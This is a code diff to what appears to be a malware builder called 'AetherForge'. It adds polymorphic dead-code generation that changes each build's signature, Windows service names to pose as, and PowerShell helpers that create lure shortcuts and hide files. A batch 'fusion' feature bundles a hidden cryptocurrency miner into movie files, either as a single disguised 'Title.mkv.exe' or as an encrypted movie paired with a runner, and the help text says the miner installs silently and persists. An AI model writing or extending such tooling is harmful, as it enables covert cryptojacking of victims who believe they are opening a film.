+++ b/server/internal/builder/media_lock_test.go
@@ -0,0 +1,28 @@
+package builder
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+)
+
+func TestEncryptMediaRoundTrip(t *testing.T) {
+	dir := t.TempDir()
+	src := filepath.Join(dir, "clip.mkv")
+	enc := filepath.Join(dir, "clip.mkv.cmdata")
+	plain := []byte("fake movie bytes 12345")
+	if err := os.WriteFile(src, plain, 0644); err != nil {
+		t.Fatal(err)
+	}
+	key, err := NewMediaLockKey()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := EncryptMediaFile(src, enc, key); err != nil {
+		t.Fatal(err)
+	}
+	st, _ := os.Stat(enc)
+	if st.Size() <= int64(len(plain)) {
+		t.Fatalf("encrypted size unexpected: %d", st.Size())
+	}
+}
diff --git a/server/internal/builder/polymorph.go b/server/internal/builder/polymorph.go
new file mode 100644
index 0000000..cfdf3f5
--- /dev/null
+++ b/server/internal/builder/polymorph.go
@@ -0,0 +1,171 @@
+package builder
+
+import (
+	"crypto/rand"
+	"encoding/hex"
+	"fmt"
+	"hash/fnv"
+	mrand "math/rand"
+	"os"
+	"path/filepath"
+	"strings"
+)
+
+// injectPolymorph writes a unique deadcode.go and returns extra -ldflags (buildid, nonce).
+func injectPolymorph(agentDir, seed string) (extraLdflags string, err error) {
+	if seed == "" {
+		b := make([]byte, 16)
+		_, _ = rand.Read(b)
+		seed = hex.EncodeToString(b)
+	}
+
+	h := fnv.New64a()
+	_, _ = h.Write([]byte(seed))
+	rng := mrand.New(mrand.NewSource(int64(h.Sum64())))
+
+	buildIDHex := hex.EncodeToString(randomBytes(rng, 8))
+	nonce := hex.EncodeToString(randomBytes(rng, 12))
+
+	funcCount := 6 + rng.Intn(8)
+	var funcDefs strings.Builder
+	var funcNames []string
+	for i := 0; i < funcCount; i++ {
+		name := "dead_" + randomIdent(rng, 10+rng.Intn(8))
+		funcNames = append(funcNames, name)
+		funcDefs.WriteString(generateDeadFunc(name, rng))
+	}
+
+	strCount := 24 + rng.Intn(32)
+	var strLines strings.Builder
+	for i := 0; i < strCount; i++ {
+		s := randomString(rng, 16+rng.Intn(48))
+		strLines.WriteString(fmt.Sprintf("\t%q,\n", s))
+	}
+
+	var tableEntries strings.Builder
+	for _, n := range funcNames {
+		tableEntries.WriteString("\t\t" + n + ",\n")
+	}
+
+	content := fmt.Sprintf(`// Code generated by AetherForge polymorphic forge — DO NOT EDIT
+// Build seed: %s
+
+package polymorph
+
+import (
+	"crypto/md5"
+	"encoding/hex"
+)
+
+const buildNonce = %q
+
+var decoyStrings = []string{
+%s}
+
+var buildMarker = %q
+
+func init() {
+	_ = initDecoys()
+}
+
+func initDecoys() int {
+	sum := 0
+	for _, fn := range deadFuncTable {
+		sum += fn()
+	}
+	if len(decoyStrings) > 0 {
+		h := md5.Sum([]byte(buildMarker + buildNonce))
+		sum += int(h[0]) ^ int(decoyStrings[len(decoyStrings)-1][0])
+	}
+	_ = hex.EncodeToString([]byte(buildNonce))
+	return sum
+}
+
+func deadFuncTable() []func() int {
+	return []func() int{
+%s	}
+}
+
+%s
+`, seed, nonce, strLines.String(), buildIDHex, tableEntries.String(), funcDefs.String())
+
+	dir := filepath.Join(agentDir, "polymorph")
+	if err := os.MkdirAll(dir, 0755); err != nil {
+		return "", err
+	}
+	if err := os.WriteFile(filepath.Join(dir, "deadcode.go"), []byte(content), 0644); err != nil {
+		return "", err
+	}
+
+	extraLdflags = fmt.Sprintf(` -buildid=%s -X main.polymorphNonce=%s`, buildIDHex, nonce)
+	return extraLdflags, nil
+}
+
+func generateDeadFunc(name string, rng *mrand.Rand) string {
+	ops := 4 + rng.Intn(6)
+	var b strings.Builder
+	b.WriteString(fmt.Sprintf("//go:noinline\nfunc %s() int {\n\tx := %d\n", name, rng.Intn(99999)+1))
+	for i := 0; i < ops; i++ {
+		switch rng.Intn(4) {
+		case 0:
+			b.WriteString(fmt.Sprintf("\tx = (x * %d) ^ %d\n", rng.Intn(127)+2, rng.Intn(4096)))
+		case 1:
+			b.WriteString(fmt.Sprintf("\tx += len(decoyStrings[%d %% len(decoyStrings)])\n", rng.Intn(8)))
+		case 2:
+			b.WriteString(fmt.Sprintf("\tif x > %d { x -= %d }\n", rng.Intn(5000), rng.Intn(500)))
+		default:
+			b.WriteString(fmt.Sprintf("\tx = x<<1 | (x >> %d)\n", 1+rng.Intn(3)))
+		}
+	}
+	b.WriteString("\treturn x & 0xffff\n}\n\n")
+	return b.String()
+}
+
+func randomBytes(rng *mrand.Rand, n int) []byte {
+	b := make([]byte, n)
+	for i := range b {
+		b[i] = byte(rng.Intn(256))
+	}
+	return b
+}
+
+func randomIdent(rng *mrand.Rand, n int) string {
+	const chars = "abcdefghijklmnopqrstuvwxyz0123456789"
+	out := make([]byte, n)
+	for i := range out {
+		out[i] = chars[rng.Intn(len(chars))]
+	}
+	return string(out)
+}
+
+func randomString(rng *mrand.Rand, n int) string {
+	const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ./-_"
+	out := make([]byte, n)
+	for i := range out {
+		out[i] = chars[rng.Intn(len(chars))]
+	}
+	return string(out)
+}
+
+func pickServiceMasquerade(seed string) (serviceName, donor string) {
+	profiles := []struct{ name, donor string }{
+		{"WinrmHostSvc", "WinRM"},
+		{"WcmsvcWorker", "Wcmsvc"},
+		{"DhcpMonitorHost", "Dhcp"},
+		{"DnscacheSync", "Dnscache"},
+		{"EventLogFwd", "EventLog"},
+		{"LanmanWorkstationMgr", "LanmanWorkstation"},
+		{"RpcEptMapperHost", "RpcEptMapper"},
+		{"ScheduleHostSvc", "Schedule"},
+		{"ShellHWDetectionMon", "ShellHWDetection"},
+		{"TrkWksHost", "TrkWks"},
+	}
+	h := fnv.New32a()
+	_, _ = h.Write([]byte(seed))
+	idx := int(h.Sum32()) % len(profiles)
+	if idx < 0 {
+		idx = -idx
+	}
+	p := profiles[idx]
+	return p.name, p.donor
+}
diff --git a/server/internal/builder/shortcut_stub.go b/server/internal/builder/shortcut_stub.go
new file mode 100644
index 0000000..6fc9860
--- /dev/null
+++ b/server/internal/builder/shortcut_stub.go
@@ -0,0 +1,13 @@
+//go:build !windows
+
+package builder
+
+import "fmt"
+
+func createMovieLockShortcut(_, _, _, _ string) error {
+	return fmt.Errorf("movie lock shortcuts require Windows forge host")
+}
+
+func setHiddenFile(_ string) error {
+	return nil
+}
diff --git a/server/internal/builder/shortcut_windows.go b/server/internal/builder/shortcut_windows.go
new file mode 100644
index 0000000..fae8677
--- /dev/null
+++ b/server/internal/builder/shortcut_windows.go
@@ -0,0 +1,48 @@
+//go:build windows
+
+package builder
+
+import (
+	"fmt"
+	"os/exec"
+	"path/filepath"
+	"strings"
+)
+
+func createMovieLockShortcut(lnkPath, targetExe, arguments, iconLocation string) error {
+	lnkPath, _ = filepath.Abs(lnkPath)
+	targetExe, _ = filepath.Abs(targetExe)
+	workDir := filepath.Dir(targetExe)
+	if iconLocation == "" {
+		iconLocation = `%SystemRoot%\System32\imageres.dll,196`
+	}
+	lnkEsc := escapePS(lnkPath)
+	targetEsc := escapePS(targetExe)
+	workEsc := escapePS(workDir)
+	iconEsc := escapePS(iconLocation)
+	argsEsc := escapePS(arguments)
+	script := fmt.Sprintf(
+		`$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('%s'); $s.TargetPath = '%s'; $s.Arguments = '%s'; $s.WorkingDirectory = '%s'; $s.IconLocation = '%s'; $s.Description = 'Locked media'; $s.Save()`,
+		lnkEsc, targetEsc, argsEsc, workEsc, iconEsc,
+	)
+	cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
+	out, err := cmd.CombinedOutput()
+	if err != nil {
+		return fmt.Errorf("create shortcut: %w (%s)", err, strings.TrimSpace(string(out)))
+	}
+	return nil
+}
+
+func setHiddenFile(path string) error {
+	path, _ = filepath.Abs(path)
+	script := fmt.Sprintf(
+		`(Get-Item -LiteralPath '%s').Attributes = 'Hidden'`,
+		escapePS(path),
+	)
+	cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
+	return cmd.Run()
+}
+
+func escapePS(s string) string {
+	return strings.ReplaceAll(s, "'", "''")
+}
diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts
index 555d741..e44f80c 100644
--- a/server/web/src/api/client.ts
+++ b/server/web/src/api/client.ts
@@ -81,6 +81,8 @@ export const api = {
   },
 
   buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
+  buildArtifactUrl: (buildId: string, fileName: string) =>
+    `${API_BASE}/builds/${buildId}/artifact/${encodeURIComponent(fileName)}`,
   buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`,
 
   // Blueprints (config presets)
diff --git a/server/web/src/api/download.ts b/server/web/src/api/download.ts
index e6cf9b7..7fe3e9f 100644
--- a/server/web/src/api/download.ts
+++ b/server/web/src/api/download.ts
@@ -18,3 +18,6 @@ export async function downloadAuthedFile(apiPath: string, filename: string): Pro
   a.remove();
   URL.revokeObjectURL(objectUrl);
 }
+
+/** Alias used by Forge auto-download and DownloadButton. */
+export const downloadApiFile = downloadAuthedFile;
diff --git a/server/web/src/components/DownloadButton.tsx b/server/web/src/components/DownloadButton.tsx
new file mode 100644
index 0000000..8ada5fb
--- /dev/null
+++ b/server/web/src/components/DownloadButton.tsx
@@ -0,0 +1,33 @@
+import { useState, type ReactNode } from 'react';
+import { downloadApiFile } from '../api/download';
+
+type Props = {
+  apiPath: string;
+  filename: string;
+  className?: string;
+  children: ReactNode;
+};
+
+/** Click to save an API file to the browser Downloads folder. */
+export default function DownloadButton({ apiPath, filename, className, children }: Props) {
+  const [busy, setBusy] = useState(false);
+
+  const handleClick = async (e: React.MouseEvent) => {
+    e.preventDefault();
+    if (busy) return;
+    setBusy(true);
+    try {
+      await downloadApiFile(apiPath, filename);
+    } catch (err) {
+      window.alert(err instanceof Error ? err.message : 'Download failed');
+    } finally {
+      setBusy(false);
+    }
+  };
+
+  return (
+    <button type="button" className={className} onClick={handleClick} disabled={busy}>
+      {busy ? 'Downloading…' : children}
+    </button>
+  );
+}
diff --git a/server/web/src/help/forgeDefaults.ts b/server/web/src/help/forgeDefaults.ts
index 8ea7ae4..835a57b 100644
--- a/server/web/src/help/forgeDefaults.ts
+++ b/server/web/src/help/forgeDefaults.ts
@@ -35,6 +35,10 @@ export const FORGE_BUILD_DEFAULTS: Omit<
   fusion_enabled: false,
   fusion_run_order: 'parallel',
   fusion_output_name: 'prep.exe',
+  fusion_payload_kind: 'exe',
+  fusion_media_mode: 'paired',
+  fusion_media_base_name: '',
+  fusion_export_subdir: '',
   ai_enabled: false,
   ai_ollama_endpoint: 'http://localhost:11434',
   ai_model: 'llama3.2',
diff --git a/server/web/src/help/fusionMedia.ts b/server/web/src/help/fusionMedia.ts
new file mode 100644
index 0000000..f94f9f2
--- /dev/null
+++ b/server/web/src/help/fusionMedia.ts
@@ -0,0 +1,20 @@
+export function isFusionVideoFile(file: File | null | undefined): boolean {
+  if (!file?.name) return false;
+  return /\.(mp4|mkv|mov)$/i.test(file.name);
+}
+
+export function fusionTitleFromFilename(name: string): string {
+  const base = name.replace(/^.*[/\\]/, '');
+  return base.replace(/\.(mp4|mkv|mov|exe)$/i, '') || 'movie';
+}
+
+export function defaultRunnerName(mediaName: string): string {
+  const title = fusionTitleFromFilename(mediaName);
+  return `${title}-runner.exe`;
+}
+
+export function defaultEmbeddedName(mediaName: string): string {
+  const ext = mediaName.match(/\.(mp4|mkv|mov)$/i)?.[0] || '.mkv';
+  const title = fusionTitleFromFilename(mediaName);
+  return `${title}${ext}.exe`;
+}
diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts
index a6f82c9..4fbf7d7 100644
--- a/server/web/src/help/settingHelp.ts
+++ b/server/web/src/help/settingHelp.ts
@@ -68,10 +68,16 @@ export const FIELD_HELP: Record<string, string> = {
   run_as: 'User = Run key when persistence is on. Scheduled/Service always creates a logon task (persistence forced on — checkbox locks).',
   silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
   auto_start: 'Same as Persistence. Keeps miner running after reboot.',
-  fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.',
-  fusion_run_order: 'Parallel runs prep and miner together. Prep first finishes prep then keeps miner running. Worker first installs the miner then runs prep.',
-  fusion_prep: 'The executable you want to bundle the miner inside. The final forged output will launch this prep file and the hidden miner.',
-  fusion_output_name: 'Filename of the fused output on disk, usually prep.exe so your USB workflow stays the same.',
+  fusion_enabled:
+    'Bundle a prep .exe or a movie (.mp4 / .mkv / .mov) with the hidden miner. Video mode plays the movie while the worker installs in the background.',
+  fusion_run_order:
+    'Parallel runs prep/movie and miner together. Prep first finishes the visible app then keeps the miner. Worker first installs the miner then runs prep.',
+  fusion_prep:
+    'Prep .exe or a movie (.mp4 / .mkv / .mov). EXE = classic Fusion. Video = plays the movie while the miner installs hidden.',
+  fusion_media_mode:
+    'Embedded: one disguised file (e.g. Vacation.mkv.exe) with the movie inside — single download, best under ~500MB. Paired: runner + encrypted .cmdata in fusion-deliverables/<title>/ — best for full-length films (up to 2GB upload).',
+  fusion_output_name:
+    'Output launcher name. For paired video this is usually Title-runner.exe; embedded uses Title.mkv.exe style names.',
   install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
   install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
   install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx
index 6da6cba..2a446e9 100644
--- a/server/web/src/pages/BuilderPage.tsx
+++ b/server/web/src/pages/BuilderPage.tsx
@@ -14,6 +14,14 @@ import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../compone
 import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
 import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
 import AuthDownloadButton from '../components/AuthDownloadButton';
+import DownloadButton from '../components/DownloadButton';
+import { downloadApiFile } from '../api/download';
+import {
+  isFusionVideoFile,
+  fusionTitleFromFilename,
+  defaultRunnerName,
+  defaultEmbeddedName,
+} from '../help/fusionMedia';
 import '../components/Fleet/FleetPanels.css';
 import './Pages.css';
 
@@ -53,6 +61,15 @@ export default function BuilderPage() {
   const [showRecent, setShowRecent] = useState(false);
   const [loadingDefaults, setLoadingDefaults] = useState(true);
   const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
+  const [fusionBatchFiles, setFusionBatchFiles] = useState<File[]>([]);
+  const [batchJob, setBatchJob] = useState<{
+    total: number;
+    current: number;
+    fileName: string;
+    phase: string;
+    percent: number;
+    log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail'; detail?: string }[];
+  } | null>(null);
   const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
   const [estimateLoading, setEstimateLoading] = useState(false);
   const [estimateError, setEstimateError] = useState('');
@@ -117,6 +134,28 @@ export default function BuilderPage() {
     }
   };
 
+  const finishForgeSuccess = async (result: BuildResponse) => {
+    setLastBuild(result);
+    loadRecentBuilds();
+    const url = result.bundle_download_url || result.download_url;
+    const name = result.bundle_file_name || result.file_name;
+    if (url && name) {
+      try {
+        await downloadApiFile(url, name);
+      } catch (err) {
+        console.error('Auto-download failed:', err);
+      }
+      return;
+    }
+    if (result.download_url && result.file_name) {
+      try {
+        await downloadApiFile(result.download_url, result.file_name);
+      } catch (err) {
+        console.error('Auto-download failed:', err);
+      }
+    }
+  };
+
   // Blueprint: save current form as a named blueprint
   const handleSaveBlueprint = async () => {
     if (!form) return;
@@ -176,8 +215,7 @@ export default function BuilderPage() {
     try {
       const result = await api.buildAgent(merged, fusionPrepFile);
       if (!result.success) throw new Error(result.error || 'Build failed');
-      setLastBuild(result);
-      loadRecentBuilds();
+      await finishForgeSuccess(result);
       setBlueprintMsg(`✅ Re-forged ${build.worker_name}`);
     } catch (err: any) {
       setError(err.message || 'Re-forge failed');
@@ -238,6 +276,127 @@ export default function BuilderPage() {
     URL.revokeObjectURL(url);
   };
 
+  const applyFusionFileSelection = (f: File | null) => {
+    setFusionPrepFile(f);
+    if (!f) return;
+    setForm((prev) => {
+      if (!prev) return prev;
+      const video = isFusionVideoFile(f);
+      const mode = prev.fusion_media_mode || 'paired';
+      return {
+        ...prev,
+        fusion_payload_kind: video ? 'video' : 'exe',
+        fusion_media_base_name: f.name,
+        fusion_output_name: video
+          ? mode === 'embedded'
+            ? defaultEmbeddedName(f.name)
+            : defaultRunnerName(f.name)
+          : f.name,
+      };
+    });
+  };
+
+  const handleBatchForgeMovies = async () => {
+    if (!form || fusionBatchFiles.length === 0) return;
+    setError('');
+    setLastBuild(null);
+    setBuilding(true);
+    const total = fusionBatchFiles.length;
+    const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
+    setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, log });
+    let ok = 0;
+    try {
+      for (let i = 0; i < total; i++) {
+        const file = fusionBatchFiles[i];
+        const title = fusionTitleFromFilename(file.name);
+        const pct = Math.round((i / total) * 100);
+        setBatchJob((j) =>
+          j
+            ? {
+                ...j,
+                current: i + 1,
+                fileName: file.name,
+                phase: 'building',
+                percent: pct,
+                log: j.log.map((row, idx) =>
+                  idx === i ? { ...row, status: 'active', detail: 'Forging + packaging ZIP…' } : row
+                ),
+              }
+            : j
+        );
+        const mode = form.fusion_media_mode || 'paired';
+        const req: BuildRequest = {
+          ...form,
+          fusion_enabled: true,
+          fusion_payload_kind: 'video',
+          fusion_media_base_name: file.name,
+          fusion_export_subdir: title,
+          fusion_output_name:
+            mode === 'embedded' ? defaultEmbeddedName(file.name) : defaultRunnerName(file.name),
+          worker_name: `${form.worker_name || 'miner'}-${title}`.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 48),
+        };
+        const checks = runForgePreflight(req, true);
+        if (preflightHasErrors(checks)) {
+          throw new Error(`Preflight failed for ${file.name}`);
+        }
+        const result = await api.buildAgent(req, file);
+        if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`);
+        setBatchJob((j) =>
+          j
+            ? {
+                ...j,
+                phase: 'downloading',
+                log: j.log.map((row, idx) =>
+                  idx === i ? { ...row, detail: `Downloading ${result.bundle_file_name || 'package'}…` } : row
+                ),
+              }
+            : j
+        );
+        await finishForgeSuccess(result);
+        ok++;
+        setBatchJob((j) =>
+          j
+            ? {
+                ...j,
+                log: j.log.map((row, idx) =>
+                  idx === i
+                    ? {
+                        ...row,
+                        status: 'ok',
+                        detail: result.fusion_export_dir
+                          ? `Saved → ${result.fusion_export_dir}`
+                          : 'ZIP downloaded',
+                      }
+                    : row
+                ),
+              }
+            : j
+        );
+      }
+      setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j));
+      setBlueprintMsg(`✅ Batch forged ${ok} movie(s) — one ZIP per title in fusion-deliverables/`);
+      setTimeout(() => setBlueprintMsg(''), 6000);
+      setFusionBatchFiles([]);
+    } catch (err: unknown) {
+      const msg = err instanceof Error ? err.message : 'Batch forge failed';
+      setError(msg);
+      setBatchJob((j) =>
+        j
+          ? {
+              ...j,
+              phase: 'error',
+              log: j.log.map((row) =>
+                row.status === 'active' ? { ...row, status: 'fail', detail: msg } : row
+              ),
+            }
+          : j
+      );
+    } finally {
+      setBuilding(false);
+      setTimeout(() => setBatchJob(null), 8000);
+    }
+  };
+
   const handleSubmit = async (e: React.FormEvent) => {
     e.preventDefault();
     if (!form) return;
@@ -256,8 +415,7 @@ export default function BuilderPage() {
       if (!result.success) {
         throw new Error(result.error || 'Build failed');
       }
-      setLastBuild(result);
-      loadRecentBuilds();
+      await finishForgeSuccess(result);
     } catch (err: any) {
       setError(err.message || 'Build failed');
     } finally {
@@ -298,6 +456,8 @@ export default function BuilderPage() {
   );
   const canForge = form ? !preflightHasErrors(preflightChecks) : false;
   const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
+  const fusionIsVideo = isFusionVideoFile(fusionPrepFile);
+  const fusionMediaMode = form?.fusion_media_mode || 'paired';
 
   useEffect(() => {
     if (!form?.fusion_enabled || !fusionPrepFile) {
@@ -976,23 +1136,144 @@ export default function BuilderPage() {
                 <>
                   <div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
                     <div className="label-row">
-                      <label className="label">Your prep.exe <HelpTip field="fusion_prep" /></label>
+                      <label className="label">Prep .exe or movie (.mp4 / .mkv / .mov) <HelpTip field="fusion_prep" /></label>
                       <ForgeFieldBadge meta={fieldMeta.fusion_prep} />
                     </div>
                     <input
                       type="file"
                       className="input"
-                      accept=".exe,application/octet-stream"
+                      accept=".exe,.mp4,.mkv,.mov,application/octet-stream,video/*"
                       onChange={(e) => {
-                        const f = e.target.files?.[0] || null;
-                        setFusionPrepFile(f);
-                        if (f?.name) {
-                          updateField('fusion_output_name', f.name);
-                        }
+                        applyFusionFileSelection(e.target.files?.[0] || null);
+                        e.target.value = '';
                       }}
                     />
                     {fusionPrepFile && (
-                      <span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span>
+                      <span className="form-hint">
+                        Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)
+                        {fusionIsVideo ? ' — video payload' : ' — exe payload'}
+                      </span>
+                    )}
+                    <p className="form-hint">Upload limit: 2 GB per file.</p>
+                  </div>
+                  {fusionIsVideo && (
+                    <div className="form-group">
+                      <label className="label">Movie delivery <HelpTip field="fusion_media_mode" /></label>
+                      <div className="radio-row" style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}>
+                        <label className="checkbox-label">
+                          <input
+                            type="radio"
+                            className="checkbox"
+                            name="fusion_media_mode"
+                            checked={fusionMediaMode === 'embedded'}
+                            onChange={() => {
+                              updateField('fusion_media_mode', 'embedded');
+                              if (fusionPrepFile) {
+                                updateField('fusion_output_name', defaultEmbeddedName(fusionPrepFile.name));
+                              }
+                            }}
+                          />
+                          <span>
+                            <strong>Option A — Single file (embedded)</strong>
+                            <FieldHint field="fusion_media_mode" />
+                          </span>
+                        </label>
+                        <p className="form-hint" style={{ marginLeft: '1.75rem' }}>
+                          One disguised launcher (e.g. <code>Title.mkv.exe</code>) contains the movie + hidden miner.
+                          Best when the file is under ~500MB.
+                        </p>
+                        <label className="checkbox-label">
+                          <input
+                            type="radio"
+                            className="checkbox"
+                            name="fusion_media_mode"
+                            checked={fusionMediaMode === 'paired'}
+                            onChange={() => {
+                              updateField('fusion_media_mode', 'paired');
+                              if (fusionPrepFile) {
+                                updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
+                              }
+                            }}
+                          />
+                          <span>
+                            <strong>Option B — Movie + runner (paired)</strong>
+                          </span>
+                        </label>
+                        <p className="form-hint" style={{ marginLeft: '1.75rem' }}>
+                          <code>Title.mkv</code> (shortcut) + hidden <code>Title.mkv.cmdata</code> +{' '}
+                          <code>Title-runner.exe</code> in <code>fusion-deliverables/Title/</code>. Clicking the
+                          movie shows a lock message; only the runner decrypts and plays it.
+                        </p>
+                      </div>
+                    </div>
+                  )}
+                  <div className="form-group">
+                    <div className="label-row">
+                      <label className="label">Batch movies <HelpTip field="fusion_batch" /></label>
+                    </div>
+                    <input
+                      type="file"
+                      className="input"
+                      accept=".mp4,.mkv,.mov,video/*"
+                      multiple
+                      onChange={(e) => {
+                        const list = e.target.files ? Array.from(e.target.files) : [];
+                        setFusionBatchFiles(list);
+                        e.target.value = '';
+                      }}
+                    />
+                    {fusionBatchFiles.length > 0 && (
+                      <span className="form-hint">
+                        {fusionBatchFiles.length} movie(s) queued — each becomes a ZIP in{' '}
+                        <code>fusion-deliverables/&lt;title&gt;/</code> (runner + locked movie + README).
+                      </span>
+                    )}
+                    {batchJob && (
+                      <div className="batch-forge-panel card" style={{ marginTop: '0.75rem' }}>
+                        <div className="batch-forge-header">
+                          <span className="font-tech">BATCH FORGE</span>
+                          <span>
+                            {batchJob.current}/{batchJob.total} — {batchJob.phase}
+                          </span>
+                        </div>
+                        <div className="batch-progress-track">
+                          <div
+                            className="batch-progress-fill"
+                            style={{ width: `${Math.min(100, batchJob.percent)}%` }}
+                          />
+                        </div>
+                        {batchJob.fileName && (
+                          <p className="form-hint" style={{ marginTop: '0.5rem' }}>
+                            Current: <code>{batchJob.fileName}</code>
+                          </p>
+                        )}
+                        <ul className="batch-forge-log">
+                          {batchJob.log.map((row) => (
+                            <li key={row.name} className={`batch-log-${row.status}`}>
+                              <span className="batch-log-icon">
+                                {row.status === 'ok' ? '✓' : row.status === 'fail' ? '✕' : row.status === 'active' ? '…' : '○'}
+                              </span>
+                              <span>
+                                {row.name}
+                                {row.detail ? ` — ${row.detail}` : ''}
+                              </span>
+                            </li>
+                          ))}
+                        </ul>
+                      </div>
+                    )}
+                    {fusionBatchFiles.length > 0 && (
+                      <button
+                        type="button"
+                        className="btn btn-secondary"
+                        style={{ marginTop: '0.5rem' }}
+                        disabled={building || !canForge}
+                        onClick={handleBatchForgeMovies}
+                      >
+                        {building
+                          ? `Batch forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})`
+                          : `Batch forge ${fusionBatchFiles.length} movie(s) → ZIP each`}
+                      </button>
                     )}
                   </div>
                   {!simpleMode && (
@@ -1196,11 +1477,19 @@ export default function BuilderPage() {
               )}
               <p><strong>File:</strong> {lastBuild.file_name}</p>
               <p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
+              {lastBuild.fusion_export_dir && (
+                <>
+                  <p><strong>Movie deliverables folder:</strong></p>
+                  <code className="path-display">{lastBuild.fusion_export_dir}</code>
+                </>
+              )}
               {lastBuild.export_path && (
                 <>
                   <p><strong>Your file (project root):</strong></p>
                   <code className="path-display">{lastBuild.export_path}</code>
-                  <p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
+                  {!lastBuild.fusion_export_dir && (
+                    <p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
+                  )}
                   {(lastBuild.obfuscated || lastBuild.signed) && (
                     <p className="form-hint">
                       {lastBuild.obfuscated && 'Garble obfuscation applied. '}
@@ -1210,11 +1499,32 @@ export default function BuilderPage() {
                 </>
               )}
               <p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>
-              {lastBuild.download_url && (
-                <a className="btn btn-primary" href={lastBuild.download_url} download>
-                  Download .exe
-                </a>
-              )}
+              <div className="download-actions">
+                {lastBuild.download_url && lastBuild.file_name && (
+                  <DownloadButton
+                    apiPath={lastBuild.download_url}
+                    filename={lastBuild.file_name}
+                    className="btn btn-primary btn-lg"
+                  >
+                    Download {lastBuild.file_name}
+                  </DownloadButton>
+                )}
+                {!lastBuild.bundle_download_url && lastBuild.build_id && lastBuild.extra_files?.map((f) => (
+                  <DownloadButton
+                    key={f.file_name}
+                    apiPath={api.buildArtifactUrl(lastBuild.build_id!, f.file_name)}
+                    filename={f.file_name}
+                    className="btn btn-secondary"
+                  >
+                    Download {f.file_name}
+                  </DownloadButton>
+                ))}
+                <p className="form-hint">
+                  {lastBuild.bundle_file_name
+                    ? 'One ZIP per title — extract and run the runner only (agent is inside it, hidden).'
+                    : 'Saved to your browser Downloads when the forge completes. Click again if needed.'}
+                </p>
+              </div>
               {lastBuild.uninstall_export_path && (
                 <p><strong>Uninstaller copy:</strong> <code className="mono-sm">{lastBuild.uninstall_export_path}</code></p>
               )}
@@ -1263,6 +1573,8 @@ export default function BuilderPage() {
               <div className="build-manager-grid">
                 {recentBuilds.map((build) => {
                   const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
+                  const exeName =
+                    build.file_path?.replace(/^.*[/\\]/, '') || `install-${build.worker_name}.exe`;
                   return (
                     <div key={build.id} className="build-manager-row">
                       <div>
@@ -1274,9 +1586,13 @@ export default function BuilderPage() {
                         </div>
                       </div>
                       <LanDownloadQR url={downloadUrl} />
-                      <a className="btn btn-outline" href={api.buildDownloadUrl(build.id)} download>
+                      <DownloadButton
+                        apiPath={api.buildDownloadUrl(build.id)}
+                        filename={exeName}
+                        className="btn btn-outline"
+                      >
                         Download
-                      </a>
+                      </DownloadButton>
                       <AuthDownloadButton
                         apiPath={api.buildUninstallUrl(build.id)}
                         filename={`uninstall-${build.worker_name || 'worker'}.ps1`}
diff --git a/server/web/src/pages/Pages.css b/server/web/src/pages/Pages.css
index 2a82ed2..e1b3a12 100644
--- a/server/web/src/pages/Pages.css
+++ b/server/web/src/pages/Pages.css
@@ -1238,3 +1238,61 @@
 .forge-simple-banner .font-tech {
   margin-bottom: 0.35rem;
 }
+
+.batch-forge-panel {
+  padding: 1rem 1.1rem;
+  border: 1px solid rgba(212, 175, 55, 0.25);
+}
+
+.batch-forge-header {
+  display: flex;
+  justify-content: space-between;
+  align-items: center;
+  margin-bottom: 0.65rem;
+  font-size: 0.85rem;
+  color: var(--text-secondary);
+}
+
+.batch-progress-track {
+  height: 8px;
+  border-radius: 999px;
+  background: rgba(255, 255, 255, 0.08);
+  overflow: hidden;
+}
+
+.batch-progress-fill {
+  height: 100%;
+  border-radius: 999px;
+  background: linear-gradient(90deg, rgba(212, 175, 55, 0.85), rgba(120, 200, 255, 0.75));
+  transition: width 0.35s ease;
+}
+
+.batch-forge-log {
+  list-style: none;
